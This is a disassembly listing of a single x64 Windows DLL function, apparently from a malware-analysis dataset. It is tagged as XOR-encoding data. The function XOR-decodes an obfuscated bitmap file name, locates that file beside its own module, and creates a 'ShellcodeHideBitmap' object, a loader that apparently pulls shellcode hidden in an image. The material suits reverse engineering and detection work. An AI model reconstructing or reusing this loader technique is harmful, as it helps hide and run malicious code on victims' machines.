Function at 0x18000be90
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0xf0]
sub rsp, 0x1f0
mov rax, qword [0x18005c010]
xor rax, rsp
mov qword [rbp + 0xe0], rax
xor esi, esi
mov ecx, dword [0x180076738]
mov rax, qword gs:[0x58]
mov rdi, qword [rax + rcx*8]
mov ecx, 0x130
mov eax, dword [rcx + rdi]
mov ebx, 0x138
test al, 1
jne 0x18000bf18
or eax, 1
mov dword [rcx + rdi], eax
mov dword [rdi + rbx + 0xc], 0x1e1918c
mov dword [rdi + rbx], 0x82888c96
mov dword [rdi + rbx + 4], 0x8684858e
mov dword [rdi + rbx + 8], 0x83cf8f84
lea rcx, [0x1800418b0]
call fcn.180016004
nop
add rbx, rdi
cmp byte [rbx + 0xf], 0
je 0x18000bf40
mov rcx, rbx
mov edx, 0xf
nop dword [rax]
xor byte [rcx], 0xe1
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x18000bf30
mov byte [rbx + 0xf], dl
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp - 0x30]
call fcn.180019360
mov r8d, 0x104
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x18000c2ef
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
lea rax, [rbp - 0x30]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x18000bf90
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x20]
call fcn.180009950
nop
lea rdx, [rsp + 0x20]
mov r9, qword [rsp + 0x38]
cmp r9, 0x10
setae r11b
mov r8, qword [rsp + 0x20]
cmovae rdx, r8
mov r10, qword [rsp + 0x30]
test r10, r10
je 0x18000c036
lea rax, [r10 - 1]
mov rcx, rdi
cmp rax, rdi
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x5c
je 0x18000bff1
cmp rcx, rdx
je 0x18000c036
dec rcx
cmp byte [rcx], 0x5c
jne 0x18000bfe4
sub rcx, rdx
lea rax, [rcx + 1]
test rax, rax
je 0x18000c036
lea rdx, [rsp + 0x20]
test r11b, r11b
cmovne rdx, r8
test r10, r10
je 0x18000c072
lea rax, [r10 - 1]
mov rcx, rdi
cmp rax, rdi
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x5c
je 0x18000c06d
cmp rcx, rdx
je 0x18000c072
dec rcx
cmp byte [rcx], 0x5c
jne 0x18000c024
sub rcx, rdx
jmp 0x18000c075
lea rdx, [rsp + 0x20]
test r11b, r11b
cmovne rdx, r8
test r10, r10
je 0x18000c072
lea rax, [r10 - 1]
mov rcx, rdi
cmp rax, rdi
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x2f
je 0x18000c06d
nop dword [rax]
cmp rcx, rdx
je 0x18000c072
dec rcx
cmp byte [rcx], 0x2f
jne 0x18000c060
sub rcx, rdx
jmp 0x18000c075
mov rcx, rdi
add rcx, 1
je 0x18000c2bc
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
cmp r10, rcx
cmovb rcx, r10
lea rdx, [rsp + 0x20]
test r11b, r11b
cmovne rdx, r8
mov r8, rcx
lea rcx, [rbp - 0x50]
call fcn.180009950
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rsi
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x18000c0c0
mov rdx, rbx
lea rcx, [rbp - 0x70]
call fcn.180009950
nop
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x70]
call fcn.18000c340
nop
cmp qword [rbp - 0x80], 0
je 0x18000c1fe
mov ecx, 0x18
call fcn.180015afc
mov rbx, rax
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.std::_Ref_count_obj2_class_ShellcodeHideBitmap_.0
mov qword [rbx], rax
lea rcx, [rbx + 0x10]
lea rax, vtable.ShellcodeHideBitmap.0
mov qword [rcx], rax
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rbx
test rcx, rcx
je 0x18000c1d6
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0x10
cmovae rdx, qword [rsp + 0x70]
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rsi
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x18000c170
lea rcx, [rsp + 0x50]
call fcn.180009950
nop
cmp qword [rsp + 0x60], 0
je 0x18000c198
lea rdx, [rsp + 0x50]
call fcn.18000d5b0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x18000c1d6
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000c1d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000c31d
call fcn.180015eb8
nop
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x18000c1fe
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], edi
cmp edi, 1
jne 0x18000c1fe
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x18000c23b
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000c235
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000c323
call fcn.180015eb8
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x18000c277
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000c271
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000c329
call fcn.180015eb8
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x18000c2b2
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000c2ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000c32f
call fcn.180015eb8
mov r8, qword [rsp + 0x20]
mov r9, qword [rsp + 0x38]
cmp r9, 0x10
jb 0x18000c2ef
lea rdx, [r9 + 1]
mov rax, r8
cmp rdx, 0x1000
jb 0x18000c2e7
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000c317
mov rcx, r8
call fcn.180015eb8
mov rcx, qword [rbp + 0xe0]
xor rcx, rsp
call fcn.180015840
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.18001de6c
nop
call fcn.18001de6c
nop
call fcn.18001de6c
nop
call fcn.18001de6c
nop
call fcn.18001de6c
int3